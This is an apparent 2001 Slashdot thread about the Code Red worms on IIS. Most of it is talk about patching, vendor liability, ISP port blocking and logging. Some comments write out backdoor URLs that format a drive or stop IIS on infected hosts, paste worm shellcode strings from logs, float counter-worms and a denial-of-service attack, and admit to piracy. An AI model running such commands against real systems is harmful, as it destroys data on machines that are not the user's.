Or you could just disable the isapi mapping to .ida extentions in IIS (and everything else you don't intend to use) Just right click on "Default Web Site" in MMC and you should find it pretty quick.
Trolls throughout history:
Jonathan Swift
Actually, while the copy of cmd.exe in /scripts and /msadc can be used to run arbitrary commands, these commands will be run with the privilege level of the IUSR_MACHINENAME account - which defaults to GUEST privileges. So you can't do something fun like grab sam._.
A 'wider' backdoor, I think, would involve uploading some type of privilege escalation tool, to give IUSR_MACHINENAME admin rights. Now _that_ would be useful...
reverend lola
the titanium sheep
provider of steel wool
...and that script, whatever else it does should simply *not respond* or print anything back to the virus. I believe that if you just let the script hang the virus assumes there's nobody listening and moves on....
-- thinkyhead software and media
Tom Liston came up with a cool idea for slowing Code Red and other TCP port scanners. He didn't have the bandwidth to host it, and I offered. So, this is a shameless plug, but if we can get enough of us doing this and get some press coverage, it's a great story that shows the power and speed with which open source solutions can be implemented. He first posted the idea on 7/31 just before Code Red started heating up again. Using the Trinux (http://www.thrinux.org) linux distribution, he cobbled together a floppy boot image that, with unused ip addresses and an old machine, can be used to slow the scans by responding to the initial TCP three way handshake and then ignoring everything else. The automated scanner has to time out before that thread can move on. According to reports on the SANS Intrusions discussion list, it seems to slow all variants of Code Red and on RPC scans as well. His announcement of LaBrea is at: http://www.incidents.org/archives/intrusions/msg01 368.html
I sure hope so. I got 625 attempts yesterday and 358 today so far (5pm). That (625) is DOUBLE what I was getting around Aug 3-7th.
Dijkstra Considered Dead
Yeah, now we all know I'm not too bright.
I know it overflows the IIS buffer, I know it infects other computers. Does it cause harm, does it tell you that you've been screwed over by Code Red. I'm sitting on an NT server machine behind Novell controlled proxies and some good firewall protection, so I haven't witnessed what it does. I installed the patch as soon as I could get it, but assuming I contracted the deadly Code Red, what exactly would/could happen...
I'd appreciat a short explenation or a URL that explains Code Red a little better than "it spread and multiplies."
He he, yeah... that one has been around for a while but is still funny.
At work I have a penny jar (pretty good sized gallon apple cider jug) full of change on which I have taped a sign that says the same thing, except for 'penny' instead of 'nickel'.
Initially I got some funny looks from people who came by my cube, now they come over and drop a penny in everytime their machine locks up*.
*except now we are all using w2k and we don't get crashes much; people now mostly come over to raid the jar for the odd nickel and dime for the coke machine.
There is much cruelty in the universe, John.
Yeah, we seem to have the tour map.
That's Code Red II, released in teh wild Aug 4th. CRv2, the second variant of the original worm hit July 19th and again on Aug 1st. The ORIGINAL Code Red hit in early July - had a crappy IP gen routine and made little to no news cause it didn't go very far.
Top Most Bizarre/Disturbing Error Messages
People use MS for no reason
No. People use MS because their company already has the client licenses, the admins are cheaper, their desktops and servers use a single set of security procedures and, for web hosting, they can port their desktop vb apps to IIS in no time.
If you already own 400 Win boxes, there is a pretty compelling argument for using a Win server product.
That said, I would be real careful what I used IIS for. I don't think I would expose confidential data to the extranet.
I don't buy into that whole "it's the admins' fault" argument. It's not the responsability of the buyer to make sure a product works as advertised. Now, if in the IIS box there came a nice big pamflet that said "this software has bugs, be sure to update it at this url", now then it would be the admin's fault, since they would have been warned. But it would surprise me if anywhere inside the box it's mentioned that you've bought faulty software. Marketing wouldn't accept that.
MS sells an illusion of quality, and it's just that illusion that makes these security problems their fault, and not the admins' fault.
And to look at it on a bigger scope. Suppose you're a regular home user. You go to the store and buy a PC with windows preinstalled. Since you get the OEM version of Windows you don't get a nice windows box, you don't even get a decent manual, all you get is a license and, if you're lucky, a CD. Nowhere are you warned that the very first thing you need to do when you hook up that PC is to go to Windows Update. It's easy to claim that update your windows is simple, and I agree with that. But home users are afraid of messing up their system, so they'll only update when told to, which means that MS should very clearly tell them in a leaflet accompanying the new PC that they have to run Windows Update regularly. Again, MS instead tries to sell an illusion of quality. And it is this illusion which has led to the success of sircam.
"Technically illegal?"
I don't know...is it illegal to use an open port on a machine if the person doesn't intend for us to use that port?
Let's say I leave port 80 open on my machine...unintentionally...and furthermore in such a way that private, confidential information can be seen and downloaded. If someone tries to read a web page or surf my now-open web browser, have they really broken any laws?
I don't think so. Because I'm the one who left the damned thing open.
An interesting thing about your comment is that perhaps Code Red II was built by white hats in the first place just for this reason -- to open up a back door on all of these folks' machines so that they could do just that. The US government protecting itself? Microsoft doing damage control? Blackhats? Who knows?
I think that if someone broke a hole in the wall of my house while I was on vacation, and someone came by and went inside my house just so that they could repair that hole, I would be grateful. I certainly wouldn't press charges.
Seems like the movie people could learn somthing here too - how to make sequels that are as good as or better than the original.
I think it's more likely that because CR2 spreads so much faster than CR1 it has basically wiped out its ancestor. IIRC, version 2 can infect machines already infected with version 1, so due to the faster propogation rate, CR1 should quickly become rare indeed. That seems to be the case at least in my Apache logs...for the first several hours after CR2 began to hit me, the two versions were interspersed, but CR1 soon dropped off to a trickle.
It is not microsoft's fault that the idiots
who buy their software trust on them and
blindly agree to the EULA.
I won't pay a software company for a bunch of
compiled code that I don't actually know how
does it works, neither what it does!
You might say, those idiot's don't even know
that other OSes exist. But, if I had to
forcedly use such crappy software, I won't pay
for it. Instead I will borrow, or just stole
it.
I have used Windows 9x since 1998.
I have it installed on 2 of 3 machines at home.
I have copied the CD to my friends, and they
have the "pirated" copy installed on some
of their computers.
I never bought a copy.
I just stole a OEM pack from my past workplace.
I have a license agreement and a registration
card not filled yet (and i will never fill it).
I don't like to use pirated software.
But I'd like to see microsoft in bankruptcy.
I know I'd enjoy that.
--- "pero toda poesía es hostil al capitalismo"
Just write a new version that infects IIS, shuts it off, installs a better web server, and voilà, the world is a better place! It would be even better to uninstall IIS, but we all know it's impossible to uninstall Windows software.
Healthcare article at Kuro5hin
(Probably flame bait and needs no response, but I feel I must) No, that is what happens when you do not do any (I think it's called) bounds checking on the data you are getting ready to stick in a non dynamic space. It is possible to do the same think with any programming language I can think of (even basic but you would have to write your own routine for it). The problem although the result of a property of C/C++ is not caused by the language. This is caused by poor coding practices (like not checking the input data for a fixed space), and most likely project deadlines, and all of this coupled with poor QA on the product. Please do not blame the language for problems caused by poor code.
Use clear English when you send messages to non-English-speaking countries. Otherwise there is little chance you will be understood.
Something like: "Your computer has the Code Red virus! It attacked my computer. See http//www...."
Include a link to a site which explains how to fix the problem.
Bush's education improvements were
Good luck getting the word out to them.
It usually takes Microsoft 3 releases to get it right. So, when can we expect Code Red .Net?
Out of curiousity - does the MS patch address the fact that CR2 puts administrator-level access in the webroot, publicly available to all? What's to keep someone from writing something that exploits this, looking for boxes that have been patched, and removing the patch - re-enabling the vulnerability to CR? Or surreptitiously opening additonal services? Or hell, simply executing del (is that the command in DOS?) c:\? It's a good thing humanity in general hasn't been more vicious yet - every single one of these boxes that have been compromised could have been rendered useless by this point.
'ARRGH! Pirate Designers of the Internet, we be!'
That Linux and Apache are not compatible. :-))
We seem to have a good ways to go befoer everything that runs on Winblows will also run on Linux
What kind of features should we add? Other than the obvious: Remove Windows and install something else.
The media talked about it for weeks. Ford sent out letters to customers as far as they could find them. People brought their SUVs in, got new tires put on them, drove out. That's how product recalls usually go.
Software patches aren't all that different. When a hole is discovered, a patch is made. Responsible Microsoft server administrators have the MS site automatically checked on a daily basis for critical updates and patches. Irresponsible admins don't bother, and they become vulnerable and the cause of the worm's spread.
But it would be insane to propose MS should force-feed this server patch to all their customers. The problem isn't the software, it's the admins. You'd be hard-pressed to find a major newspaper in the civilized world that hasn't mentioned this worm yet, and still there are people who don't bother to patch. They're the same ones who think that server software is just like desktop software, where you're the only one who uses it that really matters.
Firestone couldn't make its customers bring their SUVs in to have the tires replaced for free, and there's no way the customers could claim ignorance of the problem after the press got done with it. Likewise, Microsoft can't make its customers upgrade their software for free. They've honestly tried to make all their server customers aware of what's expected of them, but they're as powerless to force it to happen as Firestone is to force car drivers to rotate their tires every 6,000 miles.
i overflowed your mom's buffer last night. she seemed to like it.
Yeah, but at least then the Justice Department can file an antitrust lawsuit against the virus.
"The dead do not shoo-bop-aloo-bah." -- Kai, 'Lexx'
Noticing code red scanning my OS X Mac, I contacted the owner of the offending machine (actually the net admin on which the machine resided) and found out that the user of the computer (a portable) did not even know that he was running IIs.
--- What?
The important difference is this - gun manufacturers typically make a product that works as advertised, and if anyone gets hurt it's because the owner (or someone else who got their hands on the gun) used the gun in its intended manner. At this point, the gun behaved exactly as advertised, but was maliciously used to harm someone.
Microsoft's current position is closer to that of a car manufacturer that sells cars that explode when you expose them to a shock wave (as might be caused, say, by a car exploding in the next lane). You can use the car exactly the way you are supposed to, following all of the instructions in the users manual, but if you didn't notice the little publicized document from the manufacturer mentioning the problem and describing how to fix it, you still get exploded.
When car manufacturers do this, they are expected to 1) agressively try to contact any and all customers who might have their faulty product, 2) very likely perform a recall of said faulty product, and 3) still get their asses sued off anyway.
I think that's more the pertinent liability model.
Arrr, it be the infamous pirate, No Beard Pete!
*if anyone's been under a rock the last month and still hasnt patched, here is a good reason to* looking at our webservers log files we have 1000's of ips addresses to infected machines with the root.exe back door. im not going to post any code but it would be trivial to loop through the log file, grab the infected ip addresses, and send out a bunch of :80 requests: /scripts/root.exe?/c%20format%20c:
The software manufacturers should be required to recall their faulty products, and the consumers should get refund, or get a new not-faulty products (until new problems are discovered, that is).
And we should see a massive improvement in MS softwares, if they want to survive. I can't imagive they can survive if they have to recall everything single product! I guess Bill Gates might as well declare MS bankrupt, instead of loosing everything.
As usual, the cure is to ditch the SmallLimp crapware and replace it with mature open source code.
--
"Open source is good." - Steve Jobs
"Open source is evil." - Microsoft
Maybe us open source folk should write a new Code Red version that uses the same explot and installs a service pack after it gets in, and then erases all the nasty things out of the scripts directories that the other code reds put there...
...then it automatically sends the maintainer a bill for our services.
-Chris
I even got repeated hits from the "Bank of Taccoa"'s website, meaning the bank was not aware their servers were being hit. Needless to say, I didn't try the backdoor out on that IP...
Here is a complete list to date
isomerica.net | Foonetic IRC
My connection is AT&T broadband and my asshole hurts. No mas ATT! No mas!
all the requests to port 80 on my router log are from @home
i wonder who is doing more to slow down the net
When Microsoft said that customer data wasn't exposed during the Hotmail infection, wouldn't that seem to contradict what we know about the worm?
just grepped my log and spotted this
/default.ida?GGGGGGGGGG
G GG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
G GG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
G GG GGGG%uab30%u2ac5%ucbd3%u34a4%u
u ab 30%uab30%u8190%u00c3%u0003%u8b
195.146.151.70 - - [05/Aug/2001:19:44:17 +0100] "GET
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
ab30%u2ac5%ucbd3%u34a4%uab30%u2ac5%ucbd3%u34a4%
00%u531b%u53ff%u00a2%u0000%u00=a HTTP/1.0" 404 279 "-" "-"
I'm guessing this is it..
Considering its a typical M$ security flaw causing degradation of the web, some businesses might be able to put a $ figure on the cost this has had to their business. So can Microsoft be sued? I would love to see a class action against that monoply...
Or else his PC vendor sold him the thing pre-configured with Win2K Server. That doesn't seem unlikely to me at all. And in any case, an OS installation that includes turning on a web server by default seems stupid.
For people that don't run a webserver, here is what I'm getting out of this command (note that my log is probably a LOT less massive than others because I'm in a relatively NT free IP block, with mostly Linux servers):
/default.ida?NNNNN
/default.ida?NNNNN
/default.ida?NNNNN
/default.ida?NNNNN
/default.ida?XXXXX
/default.ida?NNNNN
/default.ida?XXXXX
/x.ida?AAAAAAAAAAA
/default.ida?NNNNN
/default.ida?XXXXX
/default.ida?NNNNN
/default.ida?XXXXX
/default.ida?NNNNN
/default.ida?XXXXX
/default.ida?NNNNN
/default.ida?XXXXX
/default.ida?NNNNN
/default.ida?XXXXX
grep "Aug.*ida" httpd.log cut -f4,7 -d' ' |cut -c2-7,22-40 |sort -n|uniq -c
23 01/Aug
26 02/Aug
21 03/Aug
24 04/Aug
4 04/Aug
14 05/Aug
13 05/Aug
1 05/Aug
9 06/Aug
34 06/Aug
9 07/Aug
38 07/Aug
2 08/Aug
29 08/Aug
3 09/Aug
44 09/Aug
2 10/Aug
29 10/Aug
This was run at 11:45 PST, meaning today may be even worse for the XXX version than yesterday, probably about 60 attempts before the end of the day. There was a discussion about a code red removal worm, which given how long this thing has been attacking, and the results, is probably the ONLY way this thing is going to be removed. Why isn't the US Government issuing such a worm to protect national interests? It could operate by infecting only machines that attempt to infect the local machine, thus not probing any non-infected machines itself, if you arn't infected, it won't touch you, if you are, it will. Seems simple enough to me. At the rate of propogation this thing works at, it would quickly decimate most if not all infections very quickly.
I would imagine that one could at least make it pop up a warning on the screen prompting the user of the needed patch (complete with direct link) and sound the pc-speaker which could alert anyone nearby. (someone walking by hearing a beep-beep would probbaly at least turn on the screen.) Something like that should at least help.
matguy(.com)
Bye bye boot process...
Won't work. The worm won't follow redirects nor download any pictures (banners) from the page.
Your logs (in your sig) indicate that almost all attacks are coming from hosts with numeric host names. Probably home users. Most likely they'll never know they are contributing to the problem.
Realistically, the only way to reach those people is through public channels (TV announcement, perhaps) and anti-worms.
Use Zope!
I've seen 700 or so on our sites here.. (a mix of the first and second ones, judging by the differing urls). On my own personal machine there's another 350 or so.. Stupid really, considering none of the sites are 'high profile' .. it all just comes down to network address ranges I think. The networks are just scanned and each IP attacked aren't they?
Delphis
for anyone w/ Cisco 600 series routers, blocking port 80 is the only fix the for problem of the routers hanging.
It took some time for my ISP to figure this out. They spent two weeks saying that web access just had to be denied, but that's insufficient.
And by the way, the fact that Verizon called is downright heartwarming ;) -- Qwest flat refuses to accept inquiries!
I love how in the news they talk about the latest "mutations" and such of code red. People haven't quite caught on that the virus does not modify itself the same way a "real world" virus can. Someone else is simply re-writing it differently. Now, unless something extraordinary has happened while I was asleep and virii can in fact modify themselves to attack in different ways, each different than the one before, then spray me red and call me a monkey's lost uncle.
--- I used to moderate, then I read the -1 articles and decided having to filter through them was not worth it.
Write a script named index.ida that when called will automatically use Samba do send an SMB message to the server that scanned you. The message sent should contains something like:
PATCH YOUR DAMN SYSTEM!
Warning, you may have the Code Red virus on your machine! If you get an email or read a post with the subject line of "Warning: Virus Alert!" it has already infected your machine.
For the fix, follow this link and execute the code you find to fix your system.
--- Will in Seattle - What are you doing to fight the War?
I wasn't aware of a cmd line command to shut down a machine... is there one? There is a command to shut down IIS I believe.
"We shall show mercy, but we shall not ask for it" -- Winston Churchill
So I get a call from my ISP Verizon yesterday. They ask me if I have been having problems with the Code Red virus.
"Nope, but my service is shot to hell. You guys must be having some serious problems."
The representative goes on to tell me that I can 'fix' the code red virus by unplugging my router and plugging it back in. I try, vainly, to inform him that the virus is doing nothing to my hardware and the reason I'm having problems is that it's making swiss cheese of the SERVERS...
Anyway, the guy finishes his script and hangs up. So is Verizon trying to cover up their ineptness by implying that the customer is infected, and not them? Proactivly trying to shift the blame to get less tech support call? Very strange indeed...
Wow, that URL looks strangely familiar.. It's almost like I'd seen it somewhere before. Oh yea, in the article itself. Were you going for 'Informative', 'Insightful', 'Funny', or just 'Plain Fucking Stupid' ..
I swear, we need a 'Karma Whore' moderation.
Actually .jsp is a java page, tomcat plugin availabl for apache and a dedicated java servlet servlet server is availabl for linux (and I guess windows)
.asp is active server page, what you are thinking of.
now,
Re: 622 since 08/01/01 at 00:00
The difference between guns and windows is that guns do damage when working as designed. A gun is designed to destroy things you point it at, and that is what it does. It can be used legally or illegally, and manufacturers really can't do much about it.
IIS is causing damage because of a design flaw. If you bought a gun and it blew up in your hand due to a design flaw, the manufacturer would certainly be at fault.
I am not convinced that MS should be lible for this, I am just saying that your analogy is flawed, and that in the world of physical products, MS would be hit with a billion dollar lawsuit right now.
Well one use for all these machines if port 80 is back up before all those infected are fixed, would be for someone who knows how to exploit the backdoor code red II leaves behind, to use them to perform a DOS attack on AT&T.
I hope I just gave someone with the knowledge to be able to do it a good idea
Just kidding....sort of
"PMS is the time of the month when women act like men do all the time"
Robert Heinlein
Correction, the version of IIS that is being used by Code Red to get control of machines doesn't run on Win9x or ME. Windows 98 at least offers the Personal Web Server, which is basically an earlier version of IIS.
My Linux Mandrake V8.0 cautions me about possible security problems if I select servers (like web of ftp) and have them active when I install it. The Microsoft Windows installer does not warn me.
Most of the non-administrators with IIS on their machines probably had no idea that they were creating a security problem by inslalling IIS. They probably don't have firewall software or hardware either. They don't know the net is a dangerous neighborhood, but Microsoft should.
The IIS patch was not (last time I looked) available on Windows Update, which is the place most users would go to find it. Shouldn't it be there as an important security fix? This is a serious oversight by Microsoft. They distributed fixes for other security problems on Windows Update, but not for the most serious one to date.
I hope you weren't serious with that post.
How perfectly goddamn delightful it all is, to be sure. - Charles Crumb
If Bill Gates had a nickel for every time Windows crashed...
..oh wait, he does
If you like that, you should go to http://www.stuff.halibut.com/ and buy the t-shirt that's similar.
Apparently, of the rich, by the rich, for the rich.
They should have started with version IV instead of I ...
...
then they could do some prequels 10 years later
codered IV: A new hope
codered V: The code strikes back
codered VI: Return of the code
...
codered I: The iis menace.
--- I am known for the ones who want to find me on the net. Is that a privacy risk or a privilege? One might wonder..
That's because car safety has emotional and financial strings attached. You don't see people getting truly upset about computers unless it is either costing them money in a way they can understand easily, or kids are getting into trouble. The issue of poor software design isn't one people can readily understand, just as a physical intruder is easier to understand than an electronic one.
"I object to doing things that computers can do." -- Olin Shivers, lispers.org
My suspicion is this is Code Red 2. One of the AV companies used "CodeRed.v3" or something similar to refer to Code Red 2, and I'd bet the journalists were just too clueless to figure out that the two names refer to the same thing.
Companies should instead be taking out insurances against possible errors in an application. If they wish to claim then they have to prove that a) they provided the required safe guards to avoid exploitation and b) had in place a good back-up plan in case something did go wrong.
;)
If I was a that dependent on some other technology, such as trucks for goods transportation, then I would ensure that there was a back-up plan in place in case the truck broke down - maybe a second truck, a reliable mechanic, or both.
Of course if this is John Doe with and illegal copy of IIS, then they probably are not going to take the time to protect themselves. For the paranoid: maybe this is MS spreading the virus to find out where the illegal copies of IIS are? If that is this case then we should call it CodeRed-XP
Jumpstart the tartan drive.
Oh, you mean like at the EULA?
It's been there at least since the first Slashdot article. I patched my server right away. Check under Critical Updates.
I don't have any objection to ISPs doing that *by default*. I just think they should be able to selectively unblock that for customers who want it, with the stipulation that if you or your computer do bad things with it (like get code red) they will shut of access completely until you fix it.
@Home just unilaterally shut of all port 80 access (they have had netbios ports shut off all along, I believe).
Sure I can move my web server to port 81 or 8080, but as a responsible netizen, it pisses me off that I have to.
And don't whine about me using your bandwidth. I use my web server for personal use, on a service I paid for. It probably uses a whole 100 KB/day. If ATT@Home can't handle that, they need to upgrade their pipe.
On W2K Pro, first you need to select 'custom' networking or some such, then Add Service, then specifically select Internet Information Services. It's not easy to do accidentally.
Got this back after sending abuse@home.com a short list of IPs culled from my Apache log:
Thank you for your report of Code Red probes.
While we are not allowed to give out specific information regarding subscriber identity, or specific action taken without legal process, we have identified the offending user and taken appropriate action against this account. If you are receiving 'get' command strings from an @Home user or users, directed at port 80, it is likely that that originating machine has been compromised by the Code Red virus. One of the effects it has is to cause infected machines to search for other machines that would be exploitable. Machines that are running unpatched versions of Windows NT Server or 2000, with a Web Server and IIS (Microsoft Index Server 2.0 or Indexing Service in Windows 2000) are vulnerable to this exploit. If you are NOT running this OS and services, your computer is not subject to this particular compromise.
So it sounds like they are trying to do something, and apparently sending in IPs can help them weed out problem servers... slow, but better than nothing.
...and they didn't even say anything about me running a server in the first place!
root@localhost:/dir/apache-ssl/logs# ./crhit.pl
Hit 9400 times by Code Red v1
Hit 9418 times by Code Red v2
Code Red 1 avg/host: 127.027027
Code Red 2 avg/host: 127.270270
Total avg/host: 254.297297
This is over about 80 configured virutal hosts. It's a klugy script since it also checks the SSL server logs, which I don't think are attempted by the virus. The IP addresses cover two class C's for all our hosts.
- Dave
yes
it ate up 100% of our outbound T1 bandwidth.
it was really going crazy making outbound connections to random IPs.
the infected machine was affected though not to a standstill.
If I had done an express install, i probably wouldn't have noticed. I did a custom install, however. So my question to you is, are you saying that people who use an express install are incompetent?
Got Freedom?
Thinking?
actually,
s top+server+/y
http://IpOfHackedMachine/scripts/root.exe?/c+net+
How about
Code Red: The Phantom Worm.
Code Red II: Attack of the Clone
Code Red III: Media's Imagination
Code Red IV: A New Worm
Code Red V: The Worm Strikes Back
Code Red VI: Return of the Worm
sorry 'bout the somewhat off-topic, but I wanted this to get noticed, I'm going mad.
This sig isn't original enough, it's time to come up with something witty...
What kind of server buffer handler would execute the content of the buffer? You have to go out of your way doing stupid things to make it happen. Who are these morons at Microsoft who write that kind of code?
Not to be Oliver-Stonian, but it seems to me that
the profligate number of bugs written to take a
hack at the MS security vulnerabilities in IIS,
Win xx, etc. might be some sort of covert action
by free software types.
Now, before anyone starts frothing at the cranium,
I don't lump all free software types in this
class. Nor can I say with any certainty the case
I suggest is so.
Instead, I just suggest it for a thought.
If Linux is the 2nd largest OS, then why don't
we see far more Linux-specific hacks? You could
argue that it is the stability and security of
the system. Partly, I'd buy that - MS is kinda
weak in the security department. But even so,
you'd expect to see some MS Tiger Team secretly
releasing something nasty to take out the
competition. But that doesn't often seem to be
the case.
And the MS attacking virii multiply, in form as
well as instance.
It is just barely possible this is someone's way
of saying "Sod Off!" to Bill and Co. If so, though
the sentiment is laudible, the action is not.
Every time one of these virii hits, it "justifies"
more restrictive practices in terms of code
release, security protocols, limiting interop
capabilities, buttoning down and monitoring the
net, giving the police and Governments more power
to tackle anything they think needs their dirty
paws on the Net, etc.
Maybe what we really need is some White Hat
Crackers to take a real stab at nailing these
virus-writing pussbags. A dose of their own
medicine (or a repeated encounter with a solid
surface) might show them the error of their ways...
Tomb.
-- Mal: "Well they tell you: never hit a man with a closed fist. But it is, on occasion, hilarious."
The sad thing is, awhile ago one of my Mom's friends, the type who can't understand there is more to a PC than C:\WINDOWS\DESKTOP\, got one something like this in the mail.
She forwarded it on to everybody she knew, genuinly panicked, wondering how it could do all that, beliving every word...
There are between 8 and 9 million IIS hosts on the Internet today. Want to know how many apache hosts there are? Here's a hint... A LOT.
I've made a small script to do this. It takes the hostname or IP address of a machine to find out information from the whois-database or the SOA fields of the zone.
t ml for an overview.
It's available from http://www.mavetju.org/networking/tools.phtml as coderedspammer.
Don't think that this will solve your problems, because there are many many badly inconfigured mailers/dns-servers/whois-databases on the internet. See http://www.mavetju.org/networking/whymailfails.ph
Edwin
bash$
The only thing that's going to "let it die" is if the stupidity/incompetence that this virus so neatly reveals is cured and people patch their fucking servers. Until then, there's plenty to talk about. Hell, there's more to talk about. It's getting close to a month that systems have been getting hit by this virus and people are still being infected when an easy solution has been available for over two months. What planet are these people on?
I am starting to actually believe that someone is doing this to prove a paoint about MS(insecure) and about people(complacent), sorta killing 2 birds (or a few thousand for that matter)with one stone, and doing a very good job of drawing ALOT of attention toboth points,just my thoughts
Jon
Well, the obvious way to treat a portscan from a code red infected machine is ...
/var/log/messages
...
..." < unsolicited.email ${a}@luser.com; done
[nobby@nobby]$ grep "Packet"
Jul 15 20:53:32 pat kernel: Packet log: input DENY ppp0 PROTO=6 xx.xx.xx.xx: 80 203.66.66.66.66:1040 L=...
[snip]
[nobby@nobby]$ whois 66.66.66.66
[snip]
Server Name: foobar.luser.com
IP Address: 66.66.66.66
Registrar: NETWORK SOLUTIONS, INC.
Whois Server: whois.networksolutions.com
Referral URL: http://www.networksolutions.com
[nobby@nobby]$ cat > unsolicited.email
Dear Sir,
It has come to my attention that your server FOOBAR
has been infected with a variation of the CODE RED
worm. I would like to draw your attention to our
one-time only introductory offer of a complete new
webserver installation on a platform GUARANTEED never
to be infected with the CODE RED worm ever again!
That's right! For the one time payment of a low, low
price of only $2999.95, we can completely rebuild your
web server with a platform GUARANTEED never to be
infected with CODE RED ever again
This is a never-to-be-repeated once-in-a-lifetime
offer!
Yours Sincerely,
[insert name here]
^D
[nobby@nobby]$ for a in administrator bofh 1337_MCSE_d00d ceo webmaster; do mail -s "Your web server has been infected
fix the spaces
/var/log/0wnz0r.log");}
/var/log/0wnz0r.log");}
j00 h4v3 b33n 115r353+ 0wnz0r3d
";
system ("/bin/echo $REMOTE_ADDR 0wnz0r3d >>
else
{ print "n0 0wnz0r f0r j00
";};
if ($owned2) { print "j00 h4v3 b33n 5|-|u+d0\/\/n";
system ("/bin/echo $REMOTE_ADDR 5|-|u+d0\/\/n >>
else
{ print "n0 5|-|u+d0\/\/n f0r j00";};
?>
But the point of most of these lawsuits against gun makers is that the plaintiffs want to hold the manufacturers liable even if the gun works as expected, i.e. kills when somebody pulls the trigger, which is kinda ridiculous... It's a little bit as if Microsoft got sued by the MPAA, because an IIS somewhere is serving up DeCSS...
Just about every day our filters catch copies of SIRCAM and Hybris that some ignoramous somewhere in the world foolishly opened.
It's not a good reflection on human intelligence. And I don't mean this to be a rant; but really the media is full of information about this. Every responsible I.S. person I know spends considerable effort trying to educate their users. It's common sense and common knowledge that worms and viruses are out there. For some reason none of this sinks in and foolish users will get a bizzare message from a total stranger with an unknown attachement "asking for your advice" and plunge in and open it.
Maybe the Admin doesn't know every service running on all of his servers (I admit that I don't) but they should know how to quickly find out. As soon as word of Code Red came out, we checked our servers and identified any that were running IIS without our realization. We either removed IIS from those servers or promptly applied the patch. It's a simple process and an important part of being an Admin -- securing your systems. Apparently it's beyond a lot of people.
It's sad. Darwin would be disappointed.
-Coach-
Perhaps the world's greatest tragedy is that ignorance is not impotence.
And it occurs to me that an even better addition to the script would be to automagically add the incoming IP address to the firewall chain/table to block it forevermore - or at least for a few weeks until the weather subsides.
I found that by simply adding about 5 IP ranges to my computer's built-in firewall I got rid of *all* the code red attacks. (This computer hasn't been running 24/7 so it's been pretty well hidden.)
The key is that Code Red stops learning about your IP once you stop allowing it to find you. Once you block all the *existing* attackers the chances of *new* attackers appearing is lessened quite a bit.
-- thinkyhead software and media
moron? maybe, but I'm not using IIS, so where does that put you, AC?
This sig intentionally left blank.
Dude, I think your missing the point. C++ sucks.
Wouldn't it be a nice idea if someone could post a simple script that upon being attack - lynx browser will be activated (or curl or wget) which sends a URL with the string to turn off the IIS?
;(
damn! just today - 400 attacks on my linux...
I'd like to automate this process and generate a "form" email, filling in the relevant details, but I'm not sure how to cause a script to be invoked by a change in the Apache log, except to maybe run a 5 minute cron job that grabs all the Code Red attacks and then renames the log file.
I've done something like that already. It actually picks out any entries in the log from the last hour and mails the originators, rather than tailing the log. Help yourself.
I would be a paid subscriber if Taco and Hemos weren't such cunts
64.83.50.230 - - [10/Aug/2001:12:26:26 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 205
Over the last 3 years I've collected 1000 /. sigs you can view here:
http://www.ipa.net/~jamesmcinis/sig.html
1000 SlashDot sigs
More popular with whom? If there's anything these worms have shown us, it's that there's a HELL of a lot more IIS installations then anybody would really have guessed, due to the ease of installing it without even realizing it with Windows 2000.
IIS and Apache may be roughly comparable for "real" websites, but in terms of sheer number of installations, I'd now bet that IIS is creaming apache.
Before you get too huffy, note this is a bad thing, as it has provided a fertile breeding ground for these worms, while providing little-to-no benefit in return.
"More lusers with vulnerable web servers then ever before - Microsoft Windows 2000."
I wonder when Rocky ..uh ..Code Red IV will be released?
Well, this article is just empty. It just says "There is a Code Red III" and that's it...
Nobox: Only simple products.
It's only a matter of time before CR4 hits, monopolizing off of CR2's success, and filling our web logs with GET /scripts/root.exe hits.
At first I strongly disagreed with writing an anti-virus that would spread the same way disabling the holes, but shoot after the third edition of this virus, I say post the IPs and let everyone have fun with the servers.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
Not quite. Access to the root.exe would be with the "anonymous IIS user" privileges, which are not root-level. How what the trojan EXPLORER.EXE provides is a subject of greater interest...
Urban Legend II was filmed at my university. Thank you.
Like sex? Read and write about it! Indecent Blogging
Hi,
I've been watching my Apache log as I get hit about every 10 minutes by Code Red. For each source IP address I've been doing a reverse lookup and if successful then notifying the webmaster of the source domain about the infected computer on their network.
I'd like to automate this process and generate a "form" email, filling in the relevant details, but I'm not sure how to cause a script to be invoked by a change in the Apache log, except to maybe run a 5 minute cron job that grabs all the Code Red attacks and then renames the log file.
An example of the email I've been sending is this:
Hi,
Just a note to let you know that a copy of the Code Red virus is on your network attacking my web server. The source IP address is: 207.151.xxx.xxx which a reverse lookup shows as xxx.xxx.gdsl.nwc.net . If this is a customer on your network then please pass on to that individual that they need to reboot their NT/W2K server and possibly reinstall their OS. They will also need to get a patch from Microsoft to correct this vulnerability.
This is probably a very miniscule thing to do, but it does - in a way - inoculate against the virus, at least on consumer DSL networks, and in a manner that is both ethical and - like a virus - fairly contagious. I've heard a lot of buzz in places like Slashdot about making an "anti-virus" but why haven't I heard this kind of thing suggested before?
-- thinkyhead software and media
I refuse to enter a battle of the wits with you --it's against my morals to attack an unarmed person.
If you celebrate Xmas, befriend me (538
As a personal favor... PATCH YOUR FSCKING SERVER! Thanks.
The Blaster Master Fighting for Truth, Justice, and Evil Pie since 1979
I'm unable to find anymore info on it. Until I see a more comprehensive story, I'm chalking this one up as a gullible journalist (that's redundant) who reports on rumors.
I haven't noticed anything different in my logs, and I probably should have by now as I've been seeing over 20,000 attempts per day. All are still "NNNNNNNNNN....." (of course, this might be the same with CR3).
Need Free Juniper/NetScreen Support? JuniperForum
